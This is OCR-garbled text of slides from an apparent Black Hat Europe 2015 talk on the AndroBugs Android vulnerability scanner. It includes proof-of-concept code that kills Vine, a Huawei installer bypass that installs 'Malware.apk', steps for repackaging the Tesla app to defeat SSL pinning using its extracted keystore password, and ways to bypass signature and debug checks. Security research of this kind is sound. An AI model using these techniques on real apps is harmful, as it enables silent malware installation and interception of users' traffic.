"t"egisterReceiver(this.mFinishReceiver, "co.vine.android.FINISH");

} //0n running the following code, Vine Android will terminate after 15 secs. POC
Intent i = new Intent("co.vine.android.FINISH");
Pendingintent pi = Pendinglntent.getBroadcast(context, 0, i, 0);
AlarmManager alarm = (AlarmManager)getSystemSerwce(Context ALARM_SERVICE);
alarm.setRepeating(AlarmManager.RTC_WAKEUP, System.currentTimeMillis(), 15000, pi);






blgt’zkhat Apps from Unkng

ELROPE 2015 Not A”OW ¢) rigind

(]
(* Security

DEVICE ADMINISTRATION

Device administrators

View or deactivate device administrators
Your phone and personal data

Unknown sources gre morefvulnerakble to attack
Allow installation of apps from y apps from unknown Sources.
unknown sources You agree that you are solely

responsible for any damage to
your phone or loss of data that
may result from using these

apps.

Notification access Cancel
Apps cannot read notifications

CREDENTIAL STORAGE

Storage type

Software only
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HUAWEI P7-110 (Android 4.4.2)

private void bypassPackagelnstallerUnknownCheck() { Class: com.android.packageinstaller.PackagelnstallerActivity

Intent intent = new Intent();
intent.setAction("android.intent.action.INSTALL PACKAGE");
intent.setData(Uri.fromFile(new File("/mnt/sdcard/Malware.apk"))

protected void onCreate(Bundile icicle) |
super.onCreate(icicle);

.buildUpon().authority("com.android.packageinstaller").build()); Intent intent = getintent();
intent.putExtra("InstallDirectly", true); this.mPackageURI = intent.getData();
: o c : o6 c . this.mOriginatingURI = {Uri) intent.getParcelableExtra{"andreid.intent.extra. ORIGINATING _URI");
MalnActlwty.thls.sta rtACtIVIty(mtent)’ this.mReferrerURI = (Uri) intent.getParcelableExtra("android.intent.extra. REFERRER");

this.mNnkonwnResourceDialog = onCreateDialog(1, null);

this.misInstallDirectly = intent.getBooleanExtra("InstallDirectly"”, false);
geURI = null) {
this.mPm =getPackageManager();

protected void onResume() {
super.onResume();
if (this.mNnkonwnResourceDialog != null && !this.mlsInstallDirectl
if (isinstallingUnknownAppsAllowed() || 'this.requestFromUnknownSource) {
this.mNnkenwnResourceDialog.dismiss();
} else if [this.requestFromUnknownSource && !this.mNnkonwnResourceDialog.isShowing()) {
this.mNnkonwnResourceDialog.show();

}
}
}
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EURDPE 2015 Blocked

Emergency call.. =2 [l @5 d .« d20:23

Emergency call... &2 @.Fd .« d20:24

* The bug has been
responsibly
disclosed to
Huawei a year ago.

IQU Package installer

|
Install blocked W Malware

Do you want to install this application? It

For security purposes, your phong does not require any extra permission to

s set to block installation of app§

access.
You can algb change this settiNg from
Settingsg Security > Unknown s@yrces
Cancel
Cancel Install
g - !
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AndroBugs Framework is integrated with MongoDB (NoSQL DB):

‘ mongo

* The analysis result will be stored by Vector ID and Package Name for
later analysis.

61 RARndenPrine
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=EURORE&E 20015

Find a target company (e.g. MS) and Download all of their Android
Apps (e.g. MS Offxce Mobile)
Run AndroBugs Framework massive analysis tool
Find targeting vulnerability by Vector ID and
Get the analysis reports from AndroBugs Framework

Spend time trying to read Java code (and sometimes smali code),
do dynamic analysis, and try to reproduce the vulnerability.
Make a POC app to prove it is a valid vulnerability and report it.




blgzkhat Massive Analysis Te6ls Prc

EURDPE 2015 And rOBugS

1. python AndroBugs MassiveAnalysis.py -b [Your Analysis Number] -t
[Your_Analysis_Tag] -d [APKs input dir] -o [Report output dir]

* Example: python AndroBugs_MassiveAnalysis.py -b 20151112 -t BlackHat -d ~/All_Your_Apps/ -0
~/Massive_Analysis_Reports

2. python AndroBugs ReportSummary.py -m massive -b [Your Analysis Number]
-t [Your_Analysis_Tag]
* Example: python AndroBugs_ReportSummary.py -m massive -b 20151112 -t BlackHat

63 RARndenPrine
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## AndroBugs Framework: Android APK Vulnerability Scanner - Massive Tool ##

Analyzing APK(1/108178): com.coc ok
Analyzing APK(2/10178): com.sec 1.apk
Analyzing APK(3/108178): com.the :am. apk
Analyzing APK(4/18178): devolog
Analyzing APK(5/10178): com.arc apk
Analyzing APK(6/10178): com.tsy ok
Analyzing APK(7/10178): eu.lequ -.apk
Analyzing APK(8/10178): com.goc hess.apk
Analyzing APK(9/18178): com.wor rer.apk
Analyzing APK(10/10178): de.hai isttrafik.apk
Analyzing APK(11/108178): com.g: ‘ex.theme.ZXMaslLovely.apk
Analyzing APK(12/10178): com.au apk
Analyzing APK(13/10178): com.pi ierfree.apk
Analyzing APK(14/10178): com.me weipy.apk
Analyzing APK(15/10178): com.th
Analyzing APK(16/10178): com.t: ~.android.apk
Analyzing APK(17/18178): com. fc :.apk
Analyzing APK(18/10178): com.ni .ivebookmark.apk
Analyzing APK(19/108178): com.vi ;templates.apk
Analyzing APK(20/10178): com.s\ .overs.apk
Analyzing APK(21/108178): com.y]
Analyzing APK(22/10178): com.si »id.paperwar2player.apk
Analyzing APK(23/10178): com.q: ‘ex.theme.bluxvi.apk
Analyzing APK(24/108178): imobli isorbox. apk
Analyzing APK(25/10178): com.s| wccerlite.apk
Analyzing APK(26/10178): com.re ok
Analyzing APK(27/10178): com.di :glassadwtheme. apk
Analyzing APK(28/10178): jp.anc ;
Analyzing APK(29/108178): com.ec ok
Analyzing APK(30/18178): com.sc »id.SharePlusLite.apk
Analyzing APK(31/10178): com.lc :w.apk
Analyzing APK(32/10178): info.1 ipk
Analyzing APK(33/10178): com.ar
Analyzing APK(34/108178): com.sy .ove.apk
Analyzing APK(35/18178): com.t:
Analyzing APK(36/10178): com.ir ;. apk
Analyzing APK(37/10178): master wcalc.apk
ing APK(38/10178): com.pr AndroRnne
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EUROPE 2015 Repor’rSum ‘

## AndroBugs Framework: Android APK Vulnerability Summary Reporter ##

Vector Name Critical Warning Notice Info Total % of Critical % of Warning % of Notice % of Info % of Non-Info

ALLOW_BACKUP : 0 0 9570 553 10123 0.00% 0.00% 94.54% 5.46% 94.54%

COMMAND : 1674 0 0 8449 10123 16.54% 0.00% 0.00% 83.46% 16.54%

COMMAND_MAYBE_SYSTEM : 0 0 1825 8298 10123 0.00% 0.00% 18.03% 81.97% 18.03%
COMMAND_SU : 337 0 (¢} 0 10123 3.33% 0.00% 0.00% 0.00% 100.00%

DB_DEPRECATED_USE1 : 18 0 0 10105 10123 0.18% 0.00% 0.00% 99.82% 0.18%

DB_SEE : ) 0 0 10123 10123 0.00% 0.00% 0.00% 100.00% 0.00%

DB_SQLCIPHER : 0 0 27 10096 10123 0.00% 0.00% 0.27% 99.73% 0.27%
DB_SQLITE_JOURNAL : 0 0 6327 3796 10123 0.00% 0.00% 62.50% 37.50% 62.50%

DEBUGGABLE : 240 0 5} 9883 10123 2.37% 0.00% 0.00% 97.63% 2.37%
DYNAMIC_CODE_LOADING : 0 3029 () 7094 10123 0.00% 29.92% 0.00% 70.08% 29.92%
EXTERNAL_STORAGE : 0 7229 (¢} 2894 10123 0.00% 71.41% 0.00% 28.59% 71.41%

FILE DELETE : 0 0 8187 1936 10123 0.00% 0.00% 80.88% 19.12% 80.88%
FRAGMENT_INJECTION : 1545 0 (¢} 8578 10123 15.26% 0.00% 0.00% 84.74% 15.26%
FRAMEWORK_BANGCLE : 0 0 2 (¢} 10123 0.00% 0.00% 0.02% 0.00% 100.00%
FRAMEWORK_MONODROID : 0 0 5 10118 10123 0.00% 0.00% 0.05% 99.95% 0.05%
HACKER_BASE64_STRING_DECODE : 608 0 (5} 9515 10123 6.01% 0.00% 0.00% 93.99% 6.01%
HACKER_BASE64_URL_DECODE : 45 0 (¢} 0 10123 0.44% 0.00% 0.00% 0.00% 100.00%
HACKER_DB_KEY : 0 0 6 10117 10123 0.00% 0.00% 0.06% 99.94% 0.06%
HACKER_DEBUGGABLE_CHECK : 0 0 2064 8059 10123 0.00% 0.00% 20.39% 79.61% 20.39%
HACKER_INSTALL_SOURCE_CHECK : 0 0 2258 7865 10123 0.00% 0.00% 22.31% 77.69% 22.31%
HACKER_KEYSTORE_LOCATION1 : 0 0 204 9777 10123 0.00% 0.00% 2.02% 96.58% 3.42%
HACKER_KEYSTORE_LOCATION2 : 0 0 153 (¢} 10123 0.00% 0.00% 1.51% 0.00% 100.00%
HACKER_KEYSTORE_NO_PWD : 95 0 0 7193 10123 0.94% 0.00% 0.00% 71.06% 28.94%
HACKER_KEYSTORE_SSL_PINNING : 2252 0 0 0 10123 22.25% 0.00% 0.00% 0.00% 100.00%
HACKER_KEYSTORE_SSL_PINNING2 : 0 0 1046 (¢} 10123 0.00% 0.00% 10.33% 0.00% 100.00%
HACKER_PREVENT_SCREENSHOT_CHECK : 0 0 38 10085 10123 0.00% 0.00% 0.38% 99.62% 0.38%
HACKER_SIGNATURE_CHECK : 0 0 3719 6404 10123 0.00% 0.00% 36.74% 63.26% 36.74%
HTTPURLCONNECTION_BUG : 0 5515 (] 4608 10123 0.00% 54.48% 0.00% 45.52% 54.48%
KEYSTORE_TYPE_CHECK : 0 0 0 10123 10123 0.00% 0.00% 0.00% 100.00% 0.00%
MANIFEST_GCM : ] 0 5258 4865 10123 0.00% 0.00% 51.94% 48.06% 51.94%

MASTER_KEY : 0 (5} 0 10123 10123 0.00% 0.00% 0.00% 100.00% 0.00%
MODE_WORLD_READABLE_OR_MODE_WORLD_WRITEABLE : 2641 0 0 7482 10123 26.09% 0.00% 0.00% 73.91% 26.09%
NATIVE_LIBS_LOADING : 0 0 3341 6782 10123 0.00% 0.00% 33.00% 67.00% 33.00%
PERMISSION_DANGEROUS : 63 0 (] 10060 10123 0.62% 0.00% 0.00% 99.38% 0.62%
PERMISSION_EXPORTED : 0 3387 0 3214 10123 0.00% 33.46% 0.00% 31.75% 68.25%
PERMISSION_EXPORTED_GOOGLE : 0 0 () 6088 10123 0.00% 0.00% 0.00% 60.14% 39.86%
PERMISSION_GROUP_EMPTY_VALUE : 0 0 () 10123 10123 0.00% 0.00% 0.00% 100.00% 0.00%
PERMISSION_IMPLICIT_SERVICE : 1034 0 0 9089 10123 10.21% 0.00% 0.00% 89.79% 10.21%
PERMISSION_INTENT_FILTER_MISCONFIG : 375 7 (] 9741 10123 3.70% 0.07% 0.00% 96.23% 3.77%
PERMISSION_NORMAL : 0 236 (5} 9887 10123 0.00% 2.33% 0.00% 97.67% 2.33%
PERMISSION_NO_PREFIX_EXPORTED : 3 0 0 10120 10123 0.03% 0.00% 0.00% 99.97% 0.03%
PERMISSION_PROVIDER_EXPLICIT_EXPORTED : 308 0 (5} 0 10123 3.04% 0.00% 0.00% 0.00% 100.00%
PERMISSION_PROVIDER_IMPLICIT_EXPORTED : PACK] 0 0 9637 10123 2.01% 0.00% 0.00% 95.20% 4.80%
SENSITIVE_DEVICE_ID : 0 5555 0 4568 10123 0.00% 54.88% 0.00% 45.12% 54.88%
SENSITIVE_SECURE_ANDROID_ID : 0 7632 () 2491 10123 0.00% 75.39% 0.00% 24.61% 75.39%
SENSITIVE_SMS : 0 473 (5} 9650 10123 0.00% 4.67% 0.00% 95.33% 4.67%

SHARED_USER_ID : 0 0 2 10121 10123 0.00% 0.00% 0.02% 99.98% 0.02%

SSL_CN1 : 844 0 ) 9279 10123 8.34% 0.00% 0.00% 91.66% 8.34%

SSL_CN2 : 1766 0 () ELY 10123 17.45% 0.00% 0.00% 82.55% 17.45%

SSL_CN3 : 17 0 0 10106 10123 0.17% 0.00% 0.00% 99.83% 0.17%
SSL_DEFAULT_SCHEME_NAME : 0 0 (] 10123 10123 0.00% 0.00% 0.00% 100.00% 0.00%
SSL_URLS_NOT_IN_HTTPS : 9323 0 (5} 800 10123 92.10% 0.00% 0.00% 7.90% 92.10%
SSL_WEBVIEW : 1245 0 0 8878 10123 12.30% 0.00% 0.00% 87.70% 12.30%
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3. python AndroBugs ReportByVectorKey.py -v [Vector ID] -l [Log Level] -b
[Your_Analysis Number] -t [Your_Analysis_Tag]
* Example: python AndroBugs_ReportByVectorKey.py -v WEBVIEW _RCE -| Critical -b 20151112 -t BlackHat

## AndroBugs Framework: Android APK Vulnerability Reporter by Vector Name ##
Vector: WEBVIEW_RCE

Critical (Total: 4523):
com.coa® ; = (version
com.sei ! (version
devoloi (version
com. tspmmnps =i Ea (version
com.wolll an §bwa (version
com. aul (version
com.prims = . LA (version
com.mei il (version
com. fol 2 = (version
com.nt e S =il - kmark (version
Ccom. SU= “gm =n = (version
com.si] a B erwar2player (version
com. 1d: (version
com. ani ! (version

com. suf = =i (version
com. tas (version

com.in®

Vector: WEBVIEW_RCE =» addJavascriptinterface \v/
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=0 X FF 718
i

Attack Vector: !

uid-10019 gids={3003, 1015, 2001, 1007, 3006, 1006, 3002,

<application 3001}
android: :'ﬂemez"@style,l"title style” I/ActivityManager( 244): Process com.google.android.gsf.
. . _ login (pid 5065) has died.
android: label:"@strlngfapp_name " I/ActivityManager( 244): Start proc com.google.android.gsf.
T — . login for service com.google.android.gsf.login/com.google.
< And roid 4 1 andrcld.J.ccn—"'@dra.wa.bleflc_launcher“ android.gsf. loginservice.GoogleLoginService: pid=5927
o T A - =mn 3 n uid=10019 gids={3003, 1015, 2001, 1007, 3006, 1006, 3002,
android:name="AppConfigure 3001}
l android:debuggable="trus"> ] I/ActivityManager( 244): Process com.google.android.gsf.

login (pid 5927) has died.
I/ActivityManager( 244): Start proc com.google.android.gsf.
. login for service com.google.android.gsf.login/com.google.
HTC Sensation an(gﬂrcn'.c.‘l,gsf,].oginser\.rige,%oog1eLoginS§r\rir.e‘?= pid-63§3 ¢
uid=10019 gids={3003, 1015, 2001, 1007, 3006, 1006, 3002,
3001}
I/ActivityManager( 244): Process com.google.android.gsf.
login (pid 6368) has died.
D/ActivityManager( 244): destroyActivitylocked,
r=ActivityRecord{416a91c0 com.taobao.wireless.tbcharge/.
account.LoginActivity}

i : Login request2 = {checkCode=-,

<artiTity andrnid-thema="@%andrnid-etula/Thar

ks hello_user v

o user=hello_user
checkCodeld- 714481cf0933e5a22d8bb50bcB4,
D/login  ( 4219): Loginl request = api-com.tacbao.client.
sys.
1§gin&v-v2&data-%?B%Z?username‘}é?z%Bp\%zzhello_userﬁzz%zc%zzpa
Debug y ssword%22%3A%22000000000000000000000000000000000000000000000
A f bstring or 8 000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000

(W {alalalalalalalalalalalalatalalalalalalalalalatalalalalalalalaTalaTaTa Tk R AT -Re b L Tak Re RGNS of SVt 21

eb791

Verbose

Print Sensitive
Information in Logs

)

Information

Login

. 5
Bl 1 e - - H E DN || m033%2
Apply as regular expression? 2m ] - T E [ B u f%22%
415 Error 2nm H ETEEE N - Nm 4b714
r|t y Cancel Clear Okay 4 = i=246
3 Fatal 8l n n 1ba0e

D/login  ( 4219): error string = FAIL::BR%HK
D/login ( 4219): result errorCode = FAIL_PASSWORD_WRONG
I/ActivityManager( 244): Start proc com.google.android.gsf.
login for service com.google.android.gsf.login/com.google.

: Bsasca Goorlel opinService: pid=8463

Vulnerable

Also Allow Dynamic Debugging
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SUROPE =015 Framework " (Ex

Specifically designed for APK repackaging hackers ©
Vectors in <Hacker> category are NOT vulnerabilities!

Scenario:

* |f an app detects itself as not using SSL certificate pinning correctly =» Its network
connection will fail

* Ifan %Flg detects its si%ning certificate is not matched with the predefined one = It
should become unusable

* |f an app detects itself as not installed from Google Play =2 It should crash itself

As you can see there are several ways Android developers will do to protect their
applications being hacked
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suRoP= =15 pinning with Androg

* Dynamic hooking is also possible to break SSL pinning, but what if
we want to make a modified APK?

* A reverse-engineering hacker would like to put the fake (test) root
certificate into the KeyStore in the App and repackage the app to
allow for MITM attacks.

 What they want to know so as to add a fake (test) certificate to test or
repackage?

»Where is the KeyStore password located?
»Where is the code to load the KeyStore?
»Where is the KeyStore file located?



b.g?:khat | Love Tesla Mefors' Android

= m s = = (Version: 2.6. It is Using SBL Certificdte Pinning)

& 9§ = ¢ a PO ¢ am &@ ¢ @am = B |3 09:09

(-ﬁ- Trusted credentials

T -— E -—
-—
SIGN IN TO MY TESLA

Reached at This Time

DO_NOT_TRUST_BC
DO_NOT_TRUST_FiddlerRoot

(0] ¢

* You cannot create a
connection with
Tesla Motors’
server under MITM
even if you add
your own Root

Certificate to your
device.
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$

ack hat

My Tesla Could Not Be
Reached at This Time

OK

No Connection
Server unc

Fiddler Web Debugger =

Rules Toaols

28 WinCanfig

Help GET /book

() +4 Repla

owner-api. teslamotors, com; 443

- All sessions ~ & Any Process 3% Find [l Save | &) @ & Browse - @Clear Cache T Text\Wizard -

@ Statistics | ing Inspectors 4% AutoResponder | & Composer | [E] Log | [] Filters | *— Timeline
Headers TextView WebForms HexView Auth Cookies Raw 150N %ML

CONMECT owner-api.teslamotors. com: 443 HTTP/ 1.1 -
Host: owner-api.teslamotors.com
Connection: Keep-Alive

A SSLv3-compatible ClientHello handshake was Tound. Fiddler extracted the parame

version: 3.1 (TLS/1.0)
Random: 5& 23 53 35 44 56 7C FE 85 BB 37 1A 96 26 6E 39 FA D2 B4 05 84 03 &7 E2
"Time": 1998/5/8 T4 11:23:02
SessionID: empty
Extensions:
ec_point_formats uncompressed [0x0], ansix962_compressed_prime [0x1],
elliptic_curves sectsrirl [OxE], sects71ikl [OoxD], secps2irl [Oox19],
Ciphers:
[0004] SSL_RSA_WITH_RC4_128_MDS
[0005] SSL_RSA_WITH_RC4_125_SHA e
TOD2F1 TLS RSA AES 128 SHA
< >

Find... (press Ctrl+Enter to highlight all) || Viewin Notepad

= All Processes

Get SyntaxView Transformer Headers TextView ImageView HexView WebView Auth
Caching Cookies Raw 150N ¥ML

== Server Certificate ========== .
[Subject]

Ch=0owner-api.teslamotors. com, 0="Tesla Motors, Inc.”, L=Palo Alto, S=Californi
[Issuer]

Ch=DigiCert SHAZ High Assurance Server CA, OU=www.digicert.com, O=DigiCert Incw
£ >
|Find... (press Cirl4+Enter to highlight all) || Viewin Notepad

This is @ HTTPS Decrypting tunnel to 'owner-api, teslamotors. com: 443,
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blS&k hat Report of Tesla Motors

Report from AndroBugs Framework:

[Notice] <KeyStore=<Hacker= Possible KeyStore File Location:
BKS possible keystore file:
assets/trust.keystore
assets/sapi_cert.cer
[Notice] <KeyStore=<Hacker= KeyStore Protection Information:
The Keystores below are "protected" by password and seem using SSL-pinning (Total: 1). You can use "Portecle"” tool to manage the
certificates in the KeyStore:
=> Lcom/teslamotors/client/TeslaClient;->getKeyStore(Landroild/confent/Context; Z)Ljava/security/KeyStore; (0x46) ---=

Ljava/security/KeyStore;-=1load(Ljava/io/InputStream; [C)V Where is the password to open the keystore

» Which file may store the keystore

Class: com.teslamotors.client.TeslaClient

private KeyStore getKeyStore(Context context, boolean flag)
|
Azzethdanager assetmanager = context.pet Assets();
Kevstore keystore = null;
if(flag)
|
Log.d("TeslaClient", "Debug build, not pinning certificates™;
return null;

fry
!

InputStream inputstream = assetmanager.opent trust.kevstore';

kevstore = KevStore.zetInstance (EevStore, et Default Type():
kevstore load(inputstreamf "q X Dow U A3gVy SNr39NcBs FEIK X U2 Mz Mo Char Arrav();
inputstream.close();

} Password to open the keystore

catch(Exception exception)

!

Log.e("TeslaClient", "getKey Store", exception);
return kevstore;

!
return keystore; n M 'l MO n 111 [



ble‘a?:k hat

EURORPE 2015

Certificate Details for entry 'do_not_trust_fiddlerroot' B com.teslamotors.tesla - modified.apk - WinRAR (57 {& hE) =

&"If C:\Users\[ e BEFR #H%0 IEGE mEMEE0Q ZEEREMN ZHBEH)

Eile Tools Examint — ﬁ . M B @ % Ejr:]‘ @ j

A EIEERE AT ' mA  BEZE HE B2 BB =% = E:,'-@
‘ Alias Mame ELER SRR e L TR BB S b LT RS EE ST E | B comteslamotorstesla - modified.apkiassets - ZIP B488, F2i8=x)1 22,255 401 {1748 ¥
dﬂ_kﬂﬂt_irust_ﬂdd Issuer. CN=DO_NOT_TRUST_FiddlerRoot, 0=DO_NOT_TRUST_BC, OU=Creal =i ‘ i1 saze -
mykey o
Serial Number:  D0DA 39BB ASDS DFOA 3CAC 50AA 2047 7661 il lcon_mark7.png 1.136 994 PNG Z&
R/ [con_mark8.png 1,185 1,048 PNG EfE
Valid From: 2014/4/9 | <F 08850053 00% B/ lcon_markS.png 1,174 1,036 PMNG Efg
Rl Icon_mark10.png 1,177 1,036 PMNG EE
Valid Until:  2024/4/17 L 126 1553 20%F Bi|icon_scale 9.png 193 134 PNG 8
Icon_start. 1,942 1,947 PNGE
PublicKey |RSA (2,048 bits) Bu/lcon_startpng ’ ’ =
R [con_subway_station.png 730 735 PNG EfE
Signature Algorithm:  SHATWithRSA R/ [con_walk_route.png 1479 1,382 PNG #&
Bl logo_h.png 2,706 2711 PNG Eig
SHA-1 Fingerprint.  78:60:D4:79:4B:31:B1:D2:F9.1B:A5:C0:87-B6:EG: 19 E6 A4:48:D1 Ri|logo_ | png 1,321 1326 PNGEHg
] - —_— lsapi_cert.cer 576 466 TEEEE
MDS Fingerprint.  4E:60:CB:8E:93:0F:F3:28:9C:0B:71:BC:2E:90:5F 2D | [ — 2274 1821 KEYSTORE B3
¥ VerDatset.dat 172 77 datfiles
| Extensions H FEM Encoding ]
£ >
Sma EE 2,274 ([T, 251 BEE a3 EERk, 28,691 {miE, 25t 23 FES
* Replace the trust.keystore in the APK with the modified one.
e Sign the APK again.

|Keystnre type: BKS, provider: BC, size: 2 entries
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% Fiddler Web Debugger - B
File Edit Rules Tools View Help GET/book £f GeoEdge
B8 WinConfig () ¥4 Replay - b Go | ¥ Stream i Decode | Keep: All sessions ~ &5 Any Process @8 Find [E] Save | B8] () @ Browse - < Clear Cache T TextWizard -

# Result  Protocol @ Statistics :o% Inspectors | 4 AutoResponder | (%] Composer [E] Log | [ Filters | — Timeline
T -— E -— _f;“ 08 401 TTRS Headers | TextView | WebForms | HexView | Auth Cookies | Raw 150N ¥ML
-— I — — .
I H u; 221 00 HTTF ameter | = I50N
[z 222 401 HTTPS dient_id=e4a9345fcfa04068f5%¢ b3f35a9e
SIGN IN TO MY TESLA - - i -
(%) 224 200 HTTE amaotor dient secret=c75f14bbadc8bee 6727hfbad220
E’ 295 a01 TTPS email=test@test.com
[ 229 200 HTTP amotor grant_type =passward
test@test_com _f;" 230 401 HTTPS password=123456
=) 23 200 HTTR oto
T 232 401 HTTPS
= 233 200 HTTF oto
E 234 401 HTTPS owner-api. teslamotors.com  foauth/token

BExpand all Collapse JSON parsing completed.

Get SyntaxView | Transformer Headers | Textview ImageView HexView Webview Auth
Caching Cookies Raw 150N XML

HTTP/1.1 401 uUnauthorized A
Server: nginx

Date: 5Sun, 18 OcCt 2015 O07:15:17 GMT

Content-Type: application/json; charset=utf-8

Connection: keep-alive

Status: 401 Unauthorized

Cache-Control: no-store

Pragma: no-cache

www-Authenticate: Bearer realm="Doorkeeper", error="", error_description="transl
X-UA-Compatible: IE=Edge,chrome=1

X-Request-Id: dedalsecd4edddeald4473ds40d1z45Fad

¥-Runtime: 0.124566

Content-Length: 37 v
£ >
>
_ |Find... (press Ctrl+Enter to highlight all) || Viewin Notepad
= Al Processes 1/11 https:ffowner-api. teslamotors. comfoauthftoken

This is not a security vulnerability! | just want to make a new Tesla Motors App that is able to MITM!
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18:29 SUN, NOVEMBER 1

A I 3ok

Network may be monitored
By an unknown third party

Connected as a media device
Touch for other USB options

USB debugging connected
Touch to disable USB debugging.

EMERGENCY CALLS ONLY

S 4 =

Repackage An APK Should B
Better Because...

If you install a
malicious Root
Certificate on
Andriod 4.4 or
newer devices

|
}

& Settings

@ Battery

Apps

PERSONAL

X Personalize

@ Quick Touch

@ Location

I & Security
W Privacy
Language & input

¥+) Backup & reset

ACCOUNTS

S 3

)

A Network monitoring

A third party is capable of
monitoring your network activity,
including emails, apps, and secure
websites.

A trusted credential installed on
your device is making this
possible.

Check trusted credentials
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<Hacker> D &‘

* Scenario: When repackaging an app, hackers may want to see more logs so
they enable the debuggable flag. Developers check this flag to see if their
APKs are already being hacked.

e Code used by developers to check debuggable in AndroidManifest.xml:

boolean isDebuggable = (0 != (getApplicationinfo().flags & ApplicationInfo.FLAG_DEBUGGABLE));
if (isDebuggable) {

//do something else

}

* Goal:
* Enable the debug mode and pretend as if the debug mode is disabled
* Repackage a new workable APK

78 AndroRnne
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1.
2.
3.
4.
5.

Search the calling field: Landroid/content/pm/Applicationinfo;->flags:|

Get the next instruction of the field

Check if the opcode of the next instruction is 0xDD(and-int/lit8)

Make sure the register number vxx in "iget" and "and-int/lit8" are the same

Make sure the last parameter of instruction "and-int/lit8" is Ox2

boolean isDebuggable = (0 != (getApplicationinfo().flags & Applicationinfo.FLAG_DEBUGGABLE));
if (isDebuggable) {
//do something else

}

invoke-virtual {p0}, Lcom/example/androiddebuggable/MainActivity;->getApplicationinfo()Landroid/content/pm/Applicationinfo;
move-result-object v1
iget vxx, v1, Landroid/content/pm/Applicationinfo;->flags:|
and-int/lit8 v1, vxx, 0x2
if-eqz v1, :cond_0
Reonelwen D
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 Scenario: If you find the behavior of an app is different (e.g. Unable to
login with the correct username and password) after repackaging the

app.

* Keypoint:

»Some Android developers know that their applications you have repackaged
cannot be signed with their own private certificates.
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EURORE 20015 Filters ¥ About 84,900 results

Black Hat 2013 - How to Build a SpyPhone
by HackersOnBoard

1 year ago * 96,510 views

Kevin McNamee.

HD

Stagefright: Scary Code in the Heart of Android

by Black Hat

2 months ago = 17,454 views

by Joshua Drake With over a billion activated devices, Android holds strong
as the market leading smartphone operating system

HD

Black Hat 2013 - Android: One Root to Own them All

by HackersOnBoard
1 year ago * 22,068 views
Jeff Forristal.

HD

Black Hat USA 2014 - Mobile: Android FakelD Vulnerability
Walkthrough

by Network Security

1 year ago * 1,237 views
T-Shirt printing

sweatshirt Click h

tom Hoodies - T-Shirt maker - Design your own
ere:http://goo.gl/D4Fwki.

HD RARnndeoRunne
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ELRCDEE 2= HOW To BU”CI 3

* The truth is “Not all the apps are so easy to repackage”

 Some Android developers already know you want to hack or
repackage their apps. So they check and compare the signature of the
certificate with the predefined one.
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Example:

* In WeChat 5.2 Android, you can find if you repackage the app, you
can no longer login to WeChat Android successfully.=®» You must solve
the puzzles first so as to login to the repackaged WeChat Android

 AndroBugs Framework helps you find the signature-based security
checkpoints (puzzles) and you may have the directions to remove the
protections.

33 RARndenPrine
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[Notice] <Signature><Hacker> Getting Signature Code Checking:
This app has code checking the package signature in the code. It might be used to check for whether the app is hacked by the
attackers.
=> Lcom/teslamotors/util/BuildUtils;->isDebug(Landroid/content/Context;)Z (©&x16) --->
Landroid/content/pm/PackageManager;->getPackageInfo(Ljava/lang/String; I)Landroid/content/pm/PackageInfo;
=> Lcom/teslamotors/util/BuildUtils;->printKeySigHashes(Landroid/content/Context;)V (©x14) --->
Landroid/content/pm/PackageManager;->getPackageInfo(Ljava/lang/String; I)Landroid/content/pm/PackageInfo;

package com.teslamotors.util;

import android.content.Context;

import android.content.pm.Signature;
import android.util.Log;

import com.teslamotors.tesla.BuildConfig;

public class BuildUtils {
private static final int DEBUG_SIGNATURE_HASH = 538288971,
private static final boolean OVERRIDE_FOR_PROD_TEST = false;
public static final String TAG = "BuildUtils";

public static boolean isDebug(Context context) {

Com pa re Wlth the for (Signature sig : context.getPackageManager().getPackagelnfo(context.getPackageName(), 64).signatures) {
pre_d efined if (sig.hashCode() == DEBUG_SIGNATURE_HASH) {
return true;

signature hash to

determ Ine ... return OVERRIDE_FOR_PROD_TEST;
} catch (Exception e) {
Log.w(TAG, "Unable to determine if app is a debug/release build", e);
return OVERRIDE_FOR_PROD_TEST;

. AndroRune
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* It’s not a security vulnerability.

* Some developers tend to hide some sensitive Strings with Base64
encoding and they think it is much more secure.

* AndroBugs Framework tries to decode every Base64-like String for
fun.
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public static String getKey(String s)

String s1 = Remember getString(s, ™);
if(ITextUtils isEmpty(s1))
return (new StringBuffer(s1)).reverse().toString();
else
return "
}

public static String getkKeyParameter()

{
return new String{Base64.decode("UEWSSURBRERFVFVV 1otZ 1 FmQOpDWI1mRUSSNzJESGLicWSpSi 1ThelZLaWNXK21KbmwwS3hjLS9CZnJiTHZyb TFUROUYYOIGLVVT, 0));
}

[Critical] <Hacker> Baset4 String Encryption:
Found Base&4 encoding "String(=)" (Total: 25). We cannot guarantee all of the rings are Baset4 enc

binary file:

|randerson.eerl.tumblr.net|

* Prevent the “grep” command
o rrom ciase: teomturbie/nctmorh TmblenpLs >eelinits (1 o from getting sensitive Strings

| PLSIDADDETR/WZ-gRfCJCZ-£fENR72DHkbgniJ-az6ERicW+mInl0Exc—/BfrbLvrmlTGE2cIF-Uk d i rectl ")
-»>0riginal Encoding String: UEwSSUREBRERFVFIvV1otZlFmQOpDWilmRUSSNzJESGLticW5SpSilhe ] ZLaWNXE21E y
—»>From class: Loom/tumblr/util/ApiSecurityUtils; ->getReyParameter ()Ljava/lang/String;
|devG—jweston—eSSSBEcb.eerl.tumblr.net I
-»>0riginal Encoding String: ZGVINilgd2VzdGSulWUzNTUSZmNiImVic]hxInR1bWJIsciSuZXg=
—->From class: Locom/tumblr/network/TumblrAPI;-><clinit>{()V
| xia.ewr0l.tumblr.net |
->0riginal Encoding String: eGlhImV3cjAxLnR1bWJIsciSuZXQ=
—->From class: Locom/tumblr/network/TumblrAPI;-><clinit>{()V
| /v2/icwiercair/nrksaaknsdzc |
-»0riginal Encoding String: L3¥yL21]d2plemShaXIvbnIrc2FhalS5zZHp]

—>From class: Loom/tumblr/util/ApiSecurityUtils; —>getRegistrationUrl()Ljava/lang/String;

|/v2/opieruofnl/asdkfboipewprhjonl

-»0riginal Encoding String: L3Y¥YyL2SwaWVydWSmbmwvY¥¥NkaZZib2lwZXdwecmhgbZ4=

—>From class: Loom/tumblr/util/ApiSecurityUtils; ->getRegistrationKeyUrl ()Ljava/lang/String;
|kevincoughlin.eerl.tumblr.netl

-»0riginal Encoding String: a2V2aW5]b3VnaGxpbi5ld3IwMS50dWlibHTubmV0

—->From class: Lcom/tumblr/network/TumblrAPI;-><clinit>()V n n'l'nn T[1[<

P
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* Please DO NOT hide sensitive Strings in Base64

